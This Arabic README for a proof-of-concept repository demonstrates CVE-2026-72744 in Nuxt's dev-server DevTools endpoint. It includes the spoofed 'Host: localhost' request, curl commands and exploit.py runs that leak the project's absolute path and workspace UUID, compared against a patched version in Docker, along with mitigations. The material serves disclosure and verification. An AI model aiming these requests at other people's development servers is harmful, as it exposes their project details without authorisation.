
إثبات مفهوم لاستغلال CVE-2026-72744، وهي ثغرة كشف معلومات في نقطة نهاية مساحة عمل Chrome DevTools الخاصة بخادم تطوير Nuxt. يوضح الثغرة ويتحقق من الإصلاح.
هذا المستودع هو إثبات مفهوم (PoC) لثغرة تسريب المعلومات CVE-2026-72744 الموجودة في نقطة نهاية مساحة عمل Chrome DevTools في خادم تطوير Nuxt.
يحدد خادم التطوير الثغرة ما إذا كان مصدر الاتصال محليًا أم لا بناءً على رؤوس HTTP مثل Host التي يمكن للمهاجم تحديدها، وليس على عنوان TCP peer address. عندما يكون خادم التطوير مرتبطًا بـ 0.0.0.0، يمكن لمهاجم غير مصادق على الشبكة المحلية (LAN) الحصول على المسار المطلق للمشروع ومعرّف مساحة العمل الدائم (workspace UUID) عبر طلب يحمل Host: localhost.
يقوم هذا الإثبات بتشغيل Nuxt 4.5.0 (الإصدار الثغري) و4.5.1 (الإصدار المُصحح) عبر Docker، ويرسل نفس الطلب من جهاز المضيف لمقارنة الاختلاف في السلوك. لا يقوم بقراءة أو كتابة ملفات أو تنفيذ كود.
استخدم هذا الأداة لأغراض تعليمية وللتحقق الأمني المصرح به فقط. لا ترسل طلبات إلى بيئات طرف ثالث دون إذن.
>= 4.4.7, < 4.5.1 و >= 3.21.7, < 3.21.104.5.1 / 3.21.10experimental.chromeDevtoolsProjectSettings افتراضيًاrootDir ومعرّف مساحة العمل الفريد للمشروعفي الإصدار الثغري، تتعامل الدالة isLocalDevRequest مع الطلب كطلب محلي إذا كان Host ضمن القائمة المسموحة ولم توجد رؤوس عبر المواقع (cross-site) قادمة من المتصفح. يمكن للعملاء غير القائمين على المتصفح حذف أو تحديد هذه الرؤوس بحرية، وبالتالي يمر الطلب التالي عبر الفحص.
GET /.well-known/appspecific/com.chrome.devtools.json HTTP/1.1
Host: localhost
يتطلب الإصدار المُصحح، بالإضافة إلى فحص الرؤوس الحالي، أن يكون عنوان TCP peer address الفعلي هو عنوان loopback (127.0.0.0/8 أو ::1).
docker compose up -d --build
| الرابط | الإصدار | النتيجة المتوقعة |
|---|---|---|
http://localhost:3000 | Nuxt 4.5.0 | HTTP 200، تسريب معلومات |
http://localhost:3001 | Nuxt 4.5.1 | HTTP 403 |
قد يستغرق البناء الأول عدة دقائق لتنزيل حزم npm.
python3 exploit.py -t http://localhost:3000 --expect vulnerable
المخرجات المتوقعة:
[!] VULNERABLE: the endpoint disclosed workspace.root and workspace.uuid.
python3 exploit.py -t http://localhost:3001 --expect fixed
المخرجات المتوقعة:
[+] FIXED: the non-loopback request was rejected with HTTP 403.
curl -i -H 'Host: localhost' \
http://localhost:3000/.well-known/appspecific/com.chrome.devtools.json
curl -i -H 'Host: localhost' \
http://localhost:3001/.well-known/appspecific/com.chrome.devtools.json
نظرًا لأن الطلب يمر عبر إعادة توجيه المنافذ في Docker، فإن مصدر الاتصال كما يراه الحاوية ليس عنوان loopback. هذا يسمح بإعادة إنتاج ظروف مكافئة لهجوم عبر الشبكة المحلية (LAN) على مضيف واحد.
docker compose down -v
يحدد exploit.py رأس Host: localhost ولا يرسل Origin أو Referer أو Sec-Fetch-Site عند الوصول إلى نقطة النهاية المستهدفة. يعتبر الإصدار ثغريًا فقط إذا كان استجابة HTTP 200 تحتوي على JSON يتضمن سلسلتي workspace.root و workspace.uuid. استجابة HTTP 403 هي السلوك المتوقع للإصدار المُصحح.
قم بتحديث Nuxt إلى 4.5.1 أو أحدث للإصدارات من السلسلة 4، وإلى 3.21.10 أو أحدث للسلسلة 3. إذا تعذر التحديث، قم بربط خادم التطوير بعنوان loopback فقط، أو عيّن experimental.chromeDevtoolsProjectSettings: false.